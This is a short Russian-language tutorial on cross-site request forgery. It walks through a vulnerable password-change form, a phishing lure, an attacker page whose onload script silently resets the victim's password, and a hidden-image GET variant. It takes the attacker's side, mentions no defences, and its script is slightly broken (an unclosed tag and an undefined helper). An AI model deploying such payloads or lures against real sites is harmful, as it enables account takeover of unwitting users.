Обучение

Обучение


Сегодня я расскажу о такой опасной атаке, как CSRF. CSRF (Cross Site Request Forgery(Межсайтовая подделка запросов)) - это атака при которой злоумышленник может выполнить различные действия на уязвимом сайте от имени других пользователей.


Выполняется это в таком порядке:

1) Жертва заманивается на сайт злоумышленника.

2) Сайт злоумышленника организован таким образом, что браузер автоматически отправляет вредоносный запрос на уязвимый сайт.Название атаки говорит само за себя.


Давайте рассмотрим небольшой пример:


Допустим что существует web-приложение (http://www.vulnsite.com) , которое принимает от пользователя пароль и изменяет его в своей базе данных. Причём делает оно это без подтверждения старого пароля или/и ввода капчи. Вот его исходники:

<html>
  <head>
    <title>
        VulnSite - we are unsecured!
    </title>
  </head>
  <body>
     Please, enter new password!
    <form action="change.php" method="POST">
      <input type="password" name="newpassword"/>
      <input type="submit" value="Change!" />
    </form>
  </body>
</html>



А change.php в свою очередь, меняет пароль пользователя. Он и станет объектом нашей атаки. Допустим мы знаем почтовый адрес нашей жертвы, пусть он будет victim@mail.com. Отправляем ему данное содержание:

-Привет! Посмотри на котиков! <a href="malicous.com/index.html" >Клик</a>

Когда жертва нажмёт на ссылку, она попадёт на зловредный сайт. Вот его исходники.

<html>
  <head>
    <title>
      Malico - we will hack you!
    </title>
    <script>
    function send(){
      var site = getXmlHttp();
      site.open('POST', 'http://www.vulnsite.com/change.php',true)
      site.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
      site.send('newpassword='+ encodeURIComponent('wewillhackyou1337'))
    }
  </head>
  <body onload="send()">
    <img src="kitty.png" >
  </body>
</html>



Жертва посмотрит на котиков, а мы получим его аккаунт 

. Данный JS скрипт отправит POST-запрос на уязвимый сайт от имени жертвы (если она авторизована) при загрузке тела страницы, и пароль будет успешно изменён. Что если данные передаются GET-запросом? Тогда можно воспользоваться данным трюком:

<img src="http://www.vulnsite.com/change.php?newpassword=wewillhackyou1337" width="0" height="0" border="0">



Напоминаю что этот способ работает когда данные передаются GET-запросом (через URL), если данные передаются POST-запросом, то как вариант, можно воспользоваться JS скриптом выше. Трюк выше исполняется из-за того, что для загрузки картинки браузер отправляет запрос по URL, который указан в src атрибуте, остальные атрибуты служат для скрытия картинки. Атака применима, когда что-то нужно изменить, потому что атакующий не сможет увидеть ответ от web-приложения. В принципе атака проста и понятна, поэтому эксплуатировать её будет технически просто.